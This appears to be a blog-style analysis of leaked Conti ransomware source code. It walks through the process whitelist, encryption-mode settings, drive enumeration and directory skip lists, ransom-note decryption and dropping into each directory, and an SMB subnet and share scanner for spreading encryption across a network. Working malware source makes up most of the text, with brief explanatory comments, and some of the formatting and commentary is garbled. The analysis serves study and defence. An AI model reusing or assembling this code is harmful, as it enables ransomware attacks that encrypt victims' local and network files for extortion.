prockiller

prockiller

memorySnapshot

  • pCreateToolhelp32Snapshot
  • pProcess32FirstW
  • pProcess32NextW
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include "prockiller.h"
#include <TlHelp32.h>
#include <winternl.h>
#include "../api/getapi.h"
#include "../obfuscation/MetaString.h"
#include "../memory.h"

VOID
process_killer::GetWhiteListProcess(__out PPID_LIST PidList)
{
HANDLE hSnapShot = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == NULL) {
return;
}

PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);

if (!pProcess32FirstW(hSnapShot, &pe32)) {

pCloseHandle(hSnapShot);
return;

}

do
{

if (!plstrcmpiW(pe32.szExeFile, OBFW(L"explorer.exe"))) {

PPID Pid = (PPID)m_malloc(sizeof(PID));
if (!Pid) {
break;
}

Pid->dwProcessId = pe32.th32ProcessID;
TAILQ_INSERT_TAIL(PidList, Pid, Entries);

}

} while (pProcess32NextW(hSnapShot, &pe32));

pCloseHandle(hSnapShot);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct tagPROCESSENTRY32W
{
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID; // this process
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID; // associated exe
DWORD cntThreads;
DWORD th32ParentProcessID; // this process's parent process
LONG pcPriClassBase; // Base priority of process's threads
DWORD dwFlags;
WCHAR szExeFile[MAX_PATH]; // Path
} PROCESSENTRY32W;

szExeFile is the path the exe

Whitelist

add the process that is not explorer.exe to whitelist.So if the file is open, Ransomeware will not encrypt it.

#define TAILQ_INSERT_TAIL(head, elm, field) do {
TAILQ_NEXT((elm), field) = NULL;
(elm)->field.tqe_prev = (head)->tqh_last;
*(head)->tqh_last = (elm);
(head)->tqh_last = &TAILQ_NEXT((elm), field);
} while (0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include "prockiller.h"
#include <TlHelp32.h>
#include <winternl.h>
#include "../api/getapi.h"
#include "../obfuscation/MetaString.h"
#include "../memory.h"

VOID
process_killer::GetWhiteListProcess(__out PPID_LIST PidList)
{
HANDLE hSnapShot = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == NULL) {
return;
}

PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);

if (!pProcess32FirstW(hSnapShot, &pe32)) {

pCloseHandle(hSnapShot);
return;

}

do
{

if (!plstrcmpiW(pe32.szExeFile, OBFW(L"explorer.exe"))) {

PPID Pid = (PPID)m_malloc(sizeof(PID));
if (!Pid) {
break;
}

Pid->dwProcessId = pe32.th32ProcessID;
TAILQ_INSERT_TAIL(PidList, Pid, Entries);

}

} while (pProcess32NextW(hSnapShot, &pe32));

pCloseHandle(hSnapShot);
}

global

set some global parameters,maybe used to build different character sample(extension,mutex…..)

  • Extention
  • DecryptionNote
  • EncryptMode
    • ALL_ENCRYPT 10
    • LOCAL_ENCRYPT 11
    • NETWORK_ENCRYPT 12
    • BACKUPS_ENCRYPT 13
    • PATH_ENCRYPT 14
  • IsProcKillerEnabled
  • EncryptPath
  • EncryptSize
  • MutexName
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
STATIC WCHAR g_Extention[7] = L".EXTEN";
STATIC CHAR g_DecryptNote[2048] = "__DECRYPT_NOTE__";
STATIC INT g_EncryptMode = ALL_ENCRYPT;
STATIC BOOL g_IsProcKillerEnabled = FALSE;
STATIC LPCWSTR g_EncryptPath = NULL;
STATIC BYTE g_EncryptSize = 50;
//STATIC CHAR g_MutexName[65] = "__MUTEX_NAME__";

PWCHAR
global::GetExtention()
{
return g_Extention;
}

PCHAR
global::GetDecryptNote()
{
return g_DecryptNote;
}

PCHAR
global::GetMutexName()
{
//return g_MutexName;
return NULL;
}

VOID
global::SetEncryptMode(INT EncryptMode)
{
g_EncryptMode = EncryptMode;
}

INT
global::GetEncryptMode()
{
return g_EncryptMode;
}

VOID
global::SetProcKiller(BOOL IsEnabled)
{
g_IsProcKillerEnabled = IsEnabled;
}

BOOL
global::GetProcKiller()
{
return g_IsProcKillerEnabled;
}

VOID
global::SetEncryptPath(__in LPCWSTR Path)
{
g_EncryptPath = Path;
}

LPCWSTR
global::GetEncryptPath()
{
return g_EncryptPath;
}

BOOL
global::SetEncryptSize(__in INT Size)
{
if (Size != 10 ||
Size != 15 ||
Size != 20 ||
Size != 25 ||
Size != 30 ||
Size != 35 ||
Size != 40 ||
Size != 45 ||
Size != 50 ||
Size != 60 ||
Size != 70 ||
Size != 80)
{
g_EncryptSize = 50;

logs

logs

  • va_start
  • va_arg
  • va_end

The RtlSecureZeroMemory routine fills a block of memory with zeros in a way that is guaranteed to be secure.

init

init in function main:

1
2
3
4
5
6
7
LPWSTR LogFile = GetCommandLineArg(Argv, Argc, OBFW(L"-log"));

if (LogFile) {

logs::Init(LogFile);

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
logs::Init(LPCWSTR LogFile)
{
pInitializeCriticalSection(&g_CritSec);
g_LogHandle = pCreateFileW(
LogFile,
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_ALWAYS,
FILE_FLAG_WRITE_THROUGH,
NULL);

pSetFilePointer(g_LogHandle, 0, NULL, FILE_END);
}

write

write some errors.

1
logs::Write(OBFW(L"FindFirstFile fails in directory %s. GetLastError = %lu."), CurrentDirectory.c_str(), pGetLastError());

filesystem

filesystem

disks

  • SIZE_T BufferLength = (SIZE_T)pGetLogicalDriveStringsW(0, NULL);
  • pGetLogicalDriveStringsW(BufferLength, Buffer);

GetLogicalDriveStringsW

1
2
3
4
DWORD GetLogicalDriveStringsW(
[in] DWORD nBufferLength,
[out] LPWSTR lpBuffer
);

If the function succeeds, the return value is the length, in characters, of the strings copied to the buffer, not including the terminating null character. Note that an ANSI-ASCII null character uses one byte, but a Unicode (UTF-16) null character uses two bytes.

If the buffer is not large enough, the return value is greater than nBufferLength. It is the size of the buffer required to hold the drive strings.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include "filesystem.h"
#include "../api/getapi.h"
#include "../memory.h"
#include "../logs/logs.h"

INT
filesystem::EnumirateDrives(__in PDRIVE_LIST DriveList)
{
INT Length = 0;
INT DrivesCount = 0;
DWORD DriveType = 0;
TAILQ_INIT(DriveList);

SIZE_T BufferLength = (SIZE_T)pGetLogicalDriveStringsW(0, NULL);
if (!BufferLength) {
return 0;
}

LPWSTR Buffer = (LPWSTR)m_malloc((BufferLength + 1) * sizeof(WCHAR));
if (!Buffer) {
return 0;
}

pGetLogicalDriveStringsW(BufferLength, Buffer);

LPWSTR tempBuffer = Buffer;

while (Length = (INT)plstrlenW(tempBuffer)) {

PDRIVE_INFO DriveInfo = new DRIVE_INFO;
if (!DriveInfo) {

free(Buffer);
return 0;

}
DriveInfo->RootPath = tempBuffer;
TAILQ_INSERT_TAIL(DriveList, DriveInfo, Entries);

DrivesCount++;
tempBuffer += Length + 1;

}

logs::Write(OBFW(L"Found %d drives: "), DrivesCount);

PDRIVE_INFO DriveInfo = NULL;
TAILQ_FOREACH(DriveInfo, DriveList, Entries) {
logs::Write(OBFW(L"%s"), DriveInfo->RootPath.c_str());
}

free(Buffer);
return DrivesCount;
}
  • MakeSearchMask

    • used to generate a search mask path
  • MakePath

    • used to generate the file path
  • CheckDirectory

    • check if the directory is in the Blacklist, if yes then pass this directory. This is to make sure the system running without breaking.

      • ```
        OBFW(L”tmp”),
        OBFW(L”winnt”),
        OBFW(L”temp”),
        OBFW(L”thumb”),
        OBFW(L”$Recycle.Bin”),
        OBFW(L”$RECYCLE.BIN”),
        OBFW(L”System Volume Information”),
        OBFW(L”Boot”),
        OBFW(L”Windows”),
        OBFW(L”Trend Micro”),
        OBFW(L”perflogs”)
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14

        - CheckFilename

        - check if the `file` is in the Blacklist, if yes then pass this file. This is to make sure the system running without breaking.

        - ```
        OBFW(L".exe"),
        OBFW(L".dll"),
        OBFW(L".lnk"),
        OBFW(L".sys"),
        OBFW(L".msi"),
        OBFW(L"readme.txt"),
        OBFW(L"CONTI_LOG.txt"),
        OBFW(L".bat")
  • DropInstruction

    • release the reame.txt to every directory that is encrypted by Ransomeware.
    • the DecryptionNotes is encrypted with chacha
      • the first 16 bytes is the key
      • the 16-20 bytes is the iv
      • the follow is the encrypted data
  • SearchFiles

DropInstruction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
DropInstruction(__in std::wstring Directory)
{
LPCWSTR str = OBFW(L"readme.txt");
std::wstring Filename = MakePath(Directory, str);

HANDLE hFile = pCreateFileW(
Filename.c_str(),
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
0,
NULL);

if (hFile == INVALID_HANDLE_VALUE) {
return;
}

DWORD dwDecryptNote = 0;
LPSTR DecryptNote = global::GetDecryptNote();

ECRYPT_ctx CryptCtx;
BYTE ChaChaKey[32];
BYTE ChaChaIV[8];

memcpy(ChaChaKey, DecryptNote, 32);
memcpy(ChaChaIV, DecryptNote + 32, 8);
memcpy(&dwDecryptNote, DecryptNote + 40, 4);

LPSTR DecryptNotePlainText = (LPSTR)m_malloc(dwDecryptNote);
if (!DecryptNotePlainText) {

pCloseHandle(hFile);
return;

}

RtlSecureZeroMemory(&CryptCtx, sizeof(CryptCtx));
ECRYPT_keysetup(&CryptCtx, ChaChaKey, 256, 64);
ECRYPT_ivsetup(&CryptCtx, ChaChaIV);

ECRYPT_decrypt_bytes(&CryptCtx, (PBYTE)DecryptNote + 44, (PBYTE)DecryptNotePlainText, dwDecryptNote);

DWORD BytesWritten;
pWriteFile(hFile, DecryptNotePlainText, dwDecryptNote, &BytesWritten, NULL);
pCloseHandle(hFile);
RtlSecureZeroMemory(DecryptNotePlainText, dwDecryptNote);
free(DecryptNotePlainText);
}

networkscanner

networkscanner

complex network scanner code.

  • PortScanHandler

    • pGetQueuedCompletionStatus
    • pPostQueuedCompletionStatus
      • START_COMPLETION_KEY
      • CONNECT_COMPLETION_KEY
      • TIMER_COMPLETION_KEY
    • CancelIo
      • Cancels all pending input and output (I/O) operations that are issued by the calling thread for the specified file. The function does not cancel I/O operations that other threads issue for a file handle.
    • shutdown
      • The shutdown function disables sends or receives on a socket.
  • TimerCallback

    •   if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
                        pExitThread(EXIT_FAILURE);
        }
        
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13

      - a callback function that used with PostQueuedCompletionStatus.

      - ```c
      BOOL CreateTimerQueueTimer(
      [out] PHANDLE phNewTimer,
      [in, optional] HANDLE TimerQueue,
      [in] WAITORTIMERCALLBACK Callback,
      [in, optional] PVOID Parameter,
      [in] DWORD DueTime,
      [in] DWORD Period,
      [in] ULONG Flags
      );
    • The amount of time in milliseconds relative to the current time that must elapse before the timer is signaled for the first time.

    • so 30000 / 1000 = 30s, one call to the Callback function(TimerCallback),if connection is set then CancelIo it .if not ,then shutdown and close the socket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
else if (CompletionStatus == TIMER_COMPLETION_KEY) {

IsTimerActivated = TRUE;

if (g_ActiveOperations) {

PCONNECT_CONTEXT ConnectCtx = NULL;
TAILQ_FOREACH(ConnectCtx, &g_ConnectionList, Entries) {

if (ConnectCtx->State == CONNECTING) {
pCancelIo((HANDLE)ConnectCtx->s);
}

}

} else {

while (!TAILQ_EMPTY(&g_ConnectionList)) {

PCONNECT_CONTEXT ConnectCtx = TAILQ_FIRST(&g_ConnectionList);
pshutdown(ConnectCtx->s, SD_SEND);
pclosesocket(ConnectCtx->s);
TAILQ_REMOVE(&g_ConnectionList, ConnectCtx, Entries);
pGlobalFree(ConnectCtx);

}

if (!CreateHostTable()) {
break;
}

ScanHosts();

if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
pExitThread(EXIT_FAILURE);
}

IsTimerActivated = FALSE;
}

}
}

EnumShares

  • NetShareEnum

    • Retrieves information about each shared resource on a server.
  • sharepath

    Constant/value Description
    STYPE_DISKTREE0x00000000 Disk drive
    STYPE_SPECIAL0x80000000 Special share reserved for interprocess communication (IPC$) or remote administration of the server (ADMIN$). Can also refer to administrative shares such as C$, D$, E$, and so forth.
    STYPE_TEMPORARY0x40000000 A temporary share that is not persisted for creation each time the file server initializes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
VOID
network_scanner::EnumShares(
__in PWCHAR pwszIpAddress,
__out PSHARE_LIST ShareList
)
{
NET_API_STATUS Result;
LPSHARE_INFO_1 ShareInfoBuffer = NULL;
DWORD er = 0, tr = 0, resume = 0;;

do
{
Result = (NET_API_STATUS)pNetShareEnum(pwszIpAddress, 1, (LPBYTE*)&ShareInfoBuffer, MAX_PREFERRED_LENGTH, &er, &tr, &resume);
if (Result == ERROR_SUCCESS)
{

LPSHARE_INFO_1 TempShareInfo = ShareInfoBuffer;

for (DWORD i = 1; i <= er; i++)
{

if (TempShareInfo->shi1_type == STYPE_DISKTREE ||
TempShareInfo->shi1_type == STYPE_SPECIAL ||
TempShareInfo->shi1_type == STYPE_TEMPORARY)
{

PSHARE_INFO ShareInfo = (PSHARE_INFO)m_malloc(sizeof(SHARE_INFO));

if (ShareInfo && plstrcmpiW(TempShareInfo->shi1_netname, OBFW(L"ADMIN$"))) {

plstrcpyW(ShareInfo->wszSharePath, OBFW(L"\\\\"));
plstrcatW(ShareInfo->wszSharePath, pwszIpAddress);
plstrcatW(ShareInfo->wszSharePath, OBFW(L"\\"));
plstrcatW(ShareInfo->wszSharePath, TempShareInfo->shi1_netname);

logs::Write(OBFW(L"Found share %s."), ShareInfo->wszSharePath);
TAILQ_INSERT_TAIL(ShareList, ShareInfo, Entries);

}

}

TempShareInfo++;

}

pNetApiBufferFree(ShareInfoBuffer);
}

} while (Result == ERROR_MORE_DATA);
}

StartScan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
network_scanner::StartScan()
{
WSADATA WsaData;
HANDLE hHostHandler = NULL, hPortScan = NULL;
PSUBNET_INFO SubnetInfo = NULL;

g_ActiveOperations = 0;
pWSAStartup(MAKEWORD(2, 2), &WsaData);
pInitializeCriticalSection(&g_CriticalSection);

if (!GetConnectEX()) {

logs::Write(OBFW(L"Can't get ConnectEx."));
goto cleanup;

}

GetCurrentIpAddress();

g_IocpHandle = pCreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, NULL, 0);
if (g_IocpHandle == NULL) {

logs::Write(OBFW(L"Can't create io completion port."));
goto cleanup;

}

TAILQ_INIT(&g_SubnetList);
TAILQ_INIT(&g_HostList);
TAILQ_INIT(&g_ConnectionList);

if (!GetSubnets(&g_SubnetList)) {

logs::Write(OBFW(L"Can't get subnets."));
goto cleanup;

}

hHostHandler = pCreateThread(NULL, 0, &HostHandler, NULL, 0, NULL);
if (hHostHandler == INVALID_HANDLE_VALUE) {

logs::Write(OBFW(L"Can't create host thread."));
goto cleanup;

}

hPortScan = pCreateThread(NULL, 0, &PortScanHandler, NULL, 0, NULL);
if (hPortScan == INVALID_HANDLE_VALUE) {

logs::Write(OBFW(L"Can't create port scan thread."));
goto cleanup;

}

pPostQueuedCompletionStatus(g_IocpHandle, 0, START_COMPLETION_KEY, NULL);
pWaitForSingleObject(hPortScan, INFINITE);

AddHost(STOP_MARKER);
pWaitForSingleObject(hHostHandler, INFINITE);

cleanup:
pDeleteCriticalSection(&g_CriticalSection);
if (g_IocpHandle) {
pCloseHandle(g_IocpHandle);
}
if (hHostHandler) {
pCloseHandle(hHostHandler);
}
if (hPortScan) {
pCloseHandle(hPortScan);
}

pWSACleanup();
}

GetCurrentIpAddress

  • pgethostname

    • SOCKET_ERROR == (INT)pgethostname(szHostName, 256)

    • g_HostEntry = (struct hostent*)pgethostbyname(szHostName);

If no error occurs, gethostname returns zero. Otherwise,

it returns SOCKET_ERROR and a specific error code can be retrieved by calling WSAGetLastError.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
STATIC
DWORD GetCurrentIpAddress()
{
CHAR szHostName[256];
struct in_addr InAddr;

if (SOCKET_ERROR == (INT)pgethostname(szHostName, 256)) {
return 0;
}

g_HostEntry = (struct hostent*)pgethostbyname(szHostName);
if (!g_HostEntry) {
return 0;
}

return 0;
}

GetConnectEX

  • WSASocketW
    • creates a socket that is bound to a specific transport-service provider
  • WSAIoctl
    • controls the mode of a socket.
  • closesocket
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
STATIC
BOOL
GetConnectEX()
{
DWORD dwBytes;
int rc;

SOCKET sock = (SOCKET)pWSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET)
return FALSE;

GUID guid = WSAID_CONNECTEX;
rc = (int)pWSAIoctl(sock, SIO_GET_EXTENSION_FUNCTION_POINTER,
&guid, sizeof(guid),
&g_ConnectEx, sizeof(g_ConnectEx),
&dwBytes, NULL, NULL);

if (rc != 0)
return FALSE;

rc =(int) pclosesocket(sock);
if (rc != 0)
return FALSE;

return TRUE;
}

GetSubnets

  • GetIpNetTable
    • GetIpNetTable(IpNetTable, &TableSize, FALSE);(to get the table size)
    • ULONG Result = (ULONG)pGetIpNetTable(IpNetTable, &TableSize, FALSE);(to get the result)
    • The GetIfTable function retrieves the MIB-II interface table.

if the ip is start with “172.”,”192.168.”,”10.”,”169.”, there are subnets in this host.

And check if the subnet is already in the SubnetList . If not , add this SubnetInfo into SubnetList

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
	IpNetTable = (PMIB_IPNETTABLE)m_malloc(TableSize);
if (!IpNetTable) {
return FALSE;
}

ULONG Result = (ULONG)pGetIpNetTable(IpNetTable, &TableSize, FALSE);
if (Result != ERROR_SUCCESS) {

logs::Write(OBFW(L"GetIpNetTable fails. GetLastError = %lu"), pGetLastError());
free(IpNetTable);
return FALSE;

}

for (ULONG i = 0; i < IpNetTable->dwNumEntries; i++) {

WCHAR wszIpAddress[INET_ADDRSTRLEN];
ULONG dwAddress = IpNetTable->table[i].dwAddr;
PUCHAR HardwareAddres = IpNetTable->table[i].bPhysAddr;
ULONG HardwareAddressSize = IpNetTable->table[i].dwPhysAddrLen;

RtlSecureZeroMemory(wszIpAddress, sizeof(wszIpAddress));

IN_ADDR InAddr;
InAddr.S_un.S_addr = dwAddress;
PCHAR szIpAddress = pinet_ntoa(InAddr);
DWORD le = WSAGetLastError();

PCSTR p1 = (PCSTR)pStrStrIA(szIpAddress, OBFA("172."));
PCSTR p2 = (PCSTR)pStrStrIA(szIpAddress, OBFA("192.168."));
PCSTR p3 = (PCSTR)pStrStrIA(szIpAddress, OBFA("10."));
PCSTR p4 = (PCSTR)pStrStrIA(szIpAddress, OBFA("169."));

if (p1 == szIpAddress ||
p2 == szIpAddress ||
p3 == szIpAddress ||
p4 == szIpAddress)
{

BOOL Found = FALSE;

PSUBNET_INFO SubnetInfo = NULL;
TAILQ_FOREACH(SubnetInfo, SubnetList, Entries) {

if (!memcmp(&SubnetInfo->dwAddress, &dwAddress, 3)) {

Found = TRUE;
break;

}

}

if (!Found) {

BYTE bAddres[4];
*(ULONG*)bAddres = dwAddress;
bAddres[3] = 0;

PSUBNET_INFO NewSubnet = (PSUBNET_INFO)m_malloc(sizeof(SUBNET_INFO));
if (!NewSubnet) {
break;
}

RtlCopyMemory(&NewSubnet->dwAddress, bAddres, 4);
TAILQ_INSERT_TAIL(SubnetList, NewSubnet, Entries);

}

}
}

free(IpNetTable);
return TRUE;
}

HostHandler

  • pEnterCriticalSection(&g_CriticalSection);

    • When more than one processes access a same code segment that segment is known as critical section. Critical section contains shared variables or resources which are needed to be synchronized to maintain consistency of data variable.Critical Section in Synchronization

      • ```c
        pEnterCriticalSection(&g_CriticalSection);

        PHOST_INFO HostInfo = TAILQ_FIRST(&g_HostList);
        if (HostInfo == NULL) {
        pLeaveCriticalSection(&g_CriticalSection);
        pSleep(1000);
        continue;
        }
        TAILQ_REMOVE(&g_HostList, HostInfo, Entries);
        pLeaveCriticalSection(&g_CriticalSection);

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        53
        54
        55
        56
        57
        58

        - `network_scanner::PSHARE_INFO ShareInfo = TAILQ_FIRST(&ShareList);`

        - get the host's shareinfo

        - `threadpool::PutTask(threadpool::NETWORK_THREADPOOL, ShareInfo->wszSharePath);`

        ```c
        STATIC
        DWORD
        WINAPI
        HostHandler(__in PVOID pArg)
        {
        network_scanner::SHARE_LIST ShareList;
        TAILQ_INIT(&ShareList);

        while (TRUE) {

        pEnterCriticalSection(&g_CriticalSection);

        PHOST_INFO HostInfo = TAILQ_FIRST(&g_HostList);
        if (HostInfo == NULL) {

        pLeaveCriticalSection(&g_CriticalSection);
        pSleep(1000);
        continue;

        }

        TAILQ_REMOVE(&g_HostList, HostInfo, Entries);
        pLeaveCriticalSection(&g_CriticalSection);

        if (HostInfo->dwAddres == STOP_MARKER) {

        free(HostInfo);
        pExitThread(EXIT_SUCCESS);

        }

        network_scanner::EnumShares(HostInfo->wszAddress, &ShareList);
        while (!TAILQ_EMPTY(&ShareList))
        {

        network_scanner::PSHARE_INFO ShareInfo = TAILQ_FIRST(&ShareList);
        logs::Write(OBFW(L"Starting search on share %s."), ShareInfo->wszSharePath);
        threadpool::PutTask(threadpool::NETWORK_THREADPOOL, ShareInfo->wszSharePath);
        TAILQ_REMOVE(&ShareList, ShareInfo, Entries);
        free(ShareInfo);

        }

        free(HostInfo);

        }

        pExitThread(EXIT_SUCCESS);
        return EXIT_SUCCESS;
        }

CreateHostTable

  • WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
    • socket with tcp
  • bind
    • The bind function associates a local address with a socket.
  • CreateIoCompletionPort((HANDLE)ConnectCtx->s, g_IocpHandle, CONNECT_COMPLETION_KEY, 0)
    • Creates an input/output (I/O) completion port and associates it with a specified file handle, or creates an I/O completion port that is not yet associated with a file handle, allowing association at a later time.
    • If the function succeeds, the return value is the handle to an I/O completion port
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
STATIC
BOOL
CreateHostTable()
{
PSUBNET_INFO SubnetInfo = TAILQ_FIRST(&g_SubnetList);
if (!SubnetInfo) {
return FALSE;
}

BYTE bAddres[4];
DWORD dwAddress;
RtlCopyMemory(bAddres, &SubnetInfo->dwAddress, 4);

for (BYTE i = 0; i < 255; i++) {

bAddres[3] = i;
RtlCopyMemory(&dwAddress, bAddres, 4);

PCONNECT_CONTEXT ConnectCtx = (PCONNECT_CONTEXT)pGlobalAlloc(GPTR, sizeof(CONNECT_CONTEXT));
if (!ConnectCtx) {
break;
}

ConnectCtx->dwAddres = dwAddress;
ConnectCtx->State = NOT_CONNECTED;
ConnectCtx->s = (SOCKET)pWSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (ConnectCtx->s == INVALID_SOCKET) {

pGlobalFree(ConnectCtx);
continue;

}

SOCKADDR_IN SockAddr;
RtlSecureZeroMemory(&SockAddr, sizeof(SockAddr));
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = 0;
SockAddr.sin_addr.s_addr = INADDR_ANY;

if (pbind(ConnectCtx->s, (CONST SOCKADDR*) & SockAddr, sizeof(SockAddr)) != ERROR_SUCCESS) {

pclosesocket(ConnectCtx->s);
pGlobalFree(ConnectCtx);
continue;

}

if (!pCreateIoCompletionPort((HANDLE)ConnectCtx->s, g_IocpHandle, CONNECT_COMPLETION_KEY, 0)) {

pclosesocket(ConnectCtx->s);
pGlobalFree(ConnectCtx);
continue;

}

TAILQ_INSERT_TAIL(&g_ConnectionList, ConnectCtx, Entries);

}

TAILQ_REMOVE(&g_SubnetList, SubnetInfo, Entries);
free(SubnetInfo);
return TRUE;
}

ScanHosts

  • ConnectEx

    • The ConnectEx function establishes a connection to a specified socket, and optionally sends data once the connection is established. The ConnectEx function is only supported on connection-oriented sockets.

      • ```
        LPFN_CONNECTEX LpfnConnectex;

        BOOL LpfnConnectex(
        [in] SOCKET s,
        [in] const sockaddr *name,
        [in] int namelen,
        [in, optional] PVOID lpSendBuffer,
        [in] DWORD dwSendDataLength,
        [out] LPDWORD lpdwBytesSent,
        [in] LPOVERLAPPED lpOverlapped
        )
        {…}

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30

        ```c
        STATIC
        VOID
        ScanHosts()
        {
        PCONNECT_CONTEXT ConnectCtx = NULL;
        TAILQ_FOREACH(ConnectCtx, &g_ConnectionList, Entries) {

        DWORD dwBytesSent;
        SOCKADDR_IN SockAddr;
        RtlSecureZeroMemory(&SockAddr, sizeof(SockAddr));
        SockAddr.sin_family = AF_INET;
        SockAddr.sin_port = htons(SMB_PORT);
        SockAddr.sin_addr.s_addr = ConnectCtx->dwAddres;

        if (g_ConnectEx(ConnectCtx->s, (CONST SOCKADDR*) & SockAddr, sizeof(SockAddr), NULL, 0, &dwBytesSent, (LPOVERLAPPED)ConnectCtx)) {

        ConnectCtx->State = CONNECTED;
        AddHost(ConnectCtx->dwAddres);

        }
        else if (WSA_IO_PENDING == WSAGetLastError()) {

        g_ActiveOperations++;
        ConnectCtx->State = CONNECTING;

        }
        }
        }

AddHost

  • add the new-found host to the Host table
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
STATIC
BOOL
AddHost(
__in DWORD dwAddres
)
{
if (g_HostEntry) {
INT i = 0;
while (g_HostEntry->h_addr_list[i] != NULL) {
DWORD dwCurrentAddr = *(DWORD*)g_HostEntry->h_addr_list[i++];
if (dwCurrentAddr == dwAddres) {
return FALSE;
}
}
}

PHOST_INFO HostInfo = (PHOST_INFO)m_malloc(sizeof(HOST_INFO));

if (!HostInfo) {
return FALSE;
}

DWORD dwAddress = INET_ADDRSTRLEN;
SOCKADDR_IN temp;
temp.sin_addr.s_addr = dwAddres;
temp.sin_port = 0;
temp.sin_family = AF_INET;
HostInfo->dwAddres = dwAddres;

if (dwAddres != STOP_MARKER) {


if (SOCKET_ERROR == pWSAAddressToStringW((LPSOCKADDR)&temp, sizeof(temp), NULL, HostInfo->wszAddress, &dwAddres)) {

free(HostInfo);
return FALSE;

}

}

pEnterCriticalSection(&g_CriticalSection); {

TAILQ_INSERT_TAIL(&g_HostList, HostInfo, Entries);

}
pLeaveCriticalSection(&g_CriticalSection);
return TRUE;
}

PortScanHandler

this handler use the CompletionStatus,IsTimerActivated,g_ActiveOperations to control the code flow.

  • g_ActiveOperations
    • use to count the Socket.
    • ScanHosts function: when one host is found ,the value is add by one
    • if CompletionStatus == CONNECT_COMPLETION_KEY, the value sub by one.
  • IsTimerActivated
    • used to check after the timer.
      • IsTimerActivated is True,

four scenes

  1. CompletionStatus == CONNECT_COMPLETION_KEY and CompleteAsyncConnect Success

    1. if g_ActiveOperations is zero ,then scanHost again

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      if (!g_ActiveOperations && IsTimerActivated) {

      while (!TAILQ_EMPTY(&g_ConnectionList)) {

      PCONNECT_CONTEXT ConnectCtx = TAILQ_FIRST(&g_ConnectionList);
      pshutdown(ConnectCtx->s, SD_SEND);
      pclosesocket(ConnectCtx->s);
